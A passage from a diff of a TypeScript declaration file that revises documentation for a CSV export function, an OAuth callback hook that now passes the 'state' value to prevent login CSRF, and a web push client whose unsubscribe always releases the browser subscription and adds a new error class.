  * person who opens the file sees which columns they asked for instead of a blank
  * document.
  *
@@ -15486,7 +16551,7 @@ export declare type ToastVariant = "success" | "warning" | "error" | "info";
  *
  * @param rows - The rows to export.
  * @param columns - Columns, in the order they should appear.
- * @param options - Delimiter and BOM.
+ * @param options - Delimiter, BOM and formula neutralization.
  * @returns The complete file contents.
  */
 export declare function toCsv<T>(rows: readonly T[], columns: readonly CsvColumn<T>[], options?: CsvOptions): string;
@@ -17699,18 +18764,26 @@ export declare interface UseNotificationInboxResult {
  * `/callback` routes that receive provider redirects and need to swap a
  * code/token for an app session via the backend.
  *
- * Survives React StrictMode double-mounting in dev — uses a ref guard to
- * ensure `exchange` runs once.
+ * Runs `exchange` once per logical mount and keeps its result. StrictMode's
+ * simulated unmount/remount in dev and a parent re-render with inline
+ * callbacks used to cancel the only exchange and skip the second, leaving the
+ * hook `"pending"` forever with the single-use code already spent. Now the
+ * options live in a latest-value ref, the effect has no dependencies, and the
+ * result is dropped only when the component is still unmounted when it lands.
+ * The newest `onSuccess`/`onError` are the ones called.
+ *
+ * For a provider redirect, the exchange must carry the `state` along with the
+ * `code`, or no backend can tell a forged callback from a real one (login
+ * CSRF). `exchangeOAuthCallback` does that against a
+ * `tempest-fastapi-sdk` backend; `readOAuthCallbackParams` returns both
+ * values (or throws) for any other backend.
  *
  * @example
  * function OAuthCallback() {
- *     const { loading, error } = useOAuthCallback({
- *         exchange: async () => {
- *             const code = new URLSearchParams(location.search).get("code")!;
- *             return api.post("/auth/google/exchange", { body: { code } });
- *         },
- *         onSuccess: ({ token, user }) => {
- *             useAuthStore.getState().setSession({ user, token });
+ *     const { loading, error } = useOAuthCallback<LoginResponse>({
+ *         exchange: () => exchangeOAuthCallback<LoginResponse>(api, "google"),
+ *         onSuccess: ({ user_id, access_token }) => {
+ *             useAuthStore.getState().setSession({ user: { id: user_id }, token: access_token });
  *             navigate("/dashboard", { replace: true });
  *         },
  *         onError: () => navigate("/login?error=oauth", { replace: true }),
@@ -19945,10 +21018,29 @@ export declare class WebPushClient {
      */
     subscribe(): Promise<PushSubscription>;
     /**
-     * Cancel the current subscription. Calls `onUnsubscribe` first (so the
-     * backend can purge the record) and then `subscription.unsubscribe()`.
-     *
-     * @returns True when an active subscription was removed, false otherwise.
+     * Cancel the current subscription: `onUnsubscribe` first, so the backend
+     * can purge the record while the endpoint is known, then
+     * `subscription.unsubscribe()` — **always**, even when `onUnsubscribe`
+     * failed.
+     *
+     * Why the browser is released anyway: the two failure modes are not
+     * symmetric. A backend row left behind costs one send to a dead endpoint,
+     * which the push service answers with `404`/`410` and the backend deletes.
+     * A browser subscription left behind keeps delivering this account's
+     * notifications to whoever uses the browser next — and the backend call
+     * fails precisely when that matters, at the end of a session, when the
+     * token that authenticates it is already gone. Before 0.77.0 a rejected
+     * `onUnsubscribe` aborted here and the browser stayed subscribed (#445).
+     * The endpoint is not lost either way: it is read before both calls and
+     * travels in the error.
+     *
+     * @returns True when an active subscription was removed, false when there
+     *   was none or the browser refused.
+     * @throws {WebPushUnsubscribeError} When `onUnsubscribe` failed — thrown
+     *   after the browser subscription was released. When the browser call also
+     *   threw, `browserUnsubscribed` is `false` and `cause` is an
+     *   `AggregateError` holding both errors, backend first, so the endpoint the
+     *   error carries is never traded for a bare `DOMException`.
      */
     unsubscribe(): Promise<boolean>;
 }
@@ -19961,7 +21053,12 @@ export declare interface WebPushClientConfig {
      * the host app decides the endpoint and how the payload is serialized.
      */
     onSubscribe: (subscription: PushSubscriptionJSON) => Promise<void> | void;
-    /** Remove the subscription from the backend. Called before `subscription.unsubscribe()`. */
+    /**
+     * Remove the subscription from the backend. Called before
+     * `subscription.unsubscribe()`, with the subscription's JSON — key the
+     * delete by its `endpoint`. A rejection no longer keeps the browser
+     * subscribed: see {@link WebPushClient.unsubscribe}.
+     */
     onUnsubscribe?: (subscription: PushSubscriptionJSON) => Promise<void> | void;
     /**
      * Override how the service worker registration is obtained.
@@ -19975,6 +21072,28 @@ export declare class WebPushPermissionDeniedError extends Error {
     constructor();
 }
 
+/**
+ * Thrown by {@link WebPushClient.unsubscribe} when `onUnsubscribe` failed. The
+ * browser subscription was still released — `browserUnsubscribed` says whether
+ * the browser confirmed it — so the only thing left behind is the backend row.
+ *
+ * Carries the `subscription` JSON so the app can retry the delete by
+ * `endpoint` later; if it never does, the push service answers the next send
+ * to that endpoint with `404`/`410`, which is the backend's cue to drop the row.
+ */
+export declare class WebPushUnsubscribeError extends Error {
+    /** The subscription whose backend delete failed. */
+    readonly subscription: PushSubscriptionJSON;
+    /** Whether `PushSubscription.unsubscribe()` reported success. */
+    readonly browserUnsubscribed: boolean;
+    /**
+     * @param subscription - The subscription whose backend delete failed.
+     * @param browserUnsubscribed - What `PushSubscription.unsubscribe()` returned.
+     * @param cause - What `onUnsubscribe` threw.
+     */
+    constructor(subscription: PushSubscriptionJSON, browserUnsubscribed: boolean, cause: unknown);
+}
+
 export declare class WebPushUnsupportedError extends Error {
     constructor();
 }